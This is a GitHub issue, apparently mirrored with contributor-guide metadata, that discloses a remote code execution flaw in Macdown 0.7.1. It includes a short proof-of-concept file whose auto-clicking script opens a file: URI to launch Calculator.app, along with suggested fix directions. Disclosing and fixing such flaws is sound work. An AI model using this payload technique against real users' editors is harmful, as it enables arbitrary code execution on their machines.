MacDownApp/macdown

Macdown Version 0.7.1 (870) Remote Code Execution

Open

#1,050 opened on Jan 28, 2019

View on GitHub
 (7 comments) (1 reaction) (0 assignees)Objective-C (930 forks)batch import
help wantedon hold

Repository metrics

Stars
 (7,686 stars)
PR merge metrics
 (No merged PRs in 30d)

Description

Macdown Version 0.7.1 (870) Remote Code Execution

Macdown version 0.7.1 (870) is affected by a remote code execution vulnerability. Macdown fails to sanitize input on HTML attributes. Abusing thefile:\\ URI scheme on HTML attributes can result in arbitrary code execution. The attached proof of concept will execute the MacOS Calculator.app when opened inside of Macdown.

PoC (PoC.md):

<!DOCTYPE html>
<html>
<body>

<a href="file:\\\Applications\Calculator.app" id=exploit download>
  <img src="/images/exploit.jpg" alt="exploit" width="104" height="142">
</a>

<script>
(function download() {
    document.getElementById('exploit').click();
})()
</script>

</body>
</html>

Screenshot:

PoC.md.zip

Contributor guide

Research direction
Examine the HTML rendering code in Macdown to find where href attributes on anchor tags are processed. Trace how the 'file:' URI scheme is handled and identify where sanitization is missing. Implement a fix that validates or escapes dangerous URI schemes like 'file:'.
Tech stack
objective c
Domain
desktopsecurity
Issue type
Security
DifficultyEstimated implementation difficulty for a new contributor, from 1 for very small changes to 5 for expert-level work.
3
Estimated timeA rough time range for an experienced contributor to investigate, implement, test, and prepare a pull request.
Half day
Activity statusHow available the issue appears right now: fresh, active, stale, blocked, or waiting on maintainer input.
Active
ClarityHow clearly the issue explains the expected change, acceptance criteria, and next step.
Clear
Prerequisites
Objective CmacOS developmentHTML security
Newbie friendlinessA 1-100 score estimating how approachable this issue is for first-time contributors.
40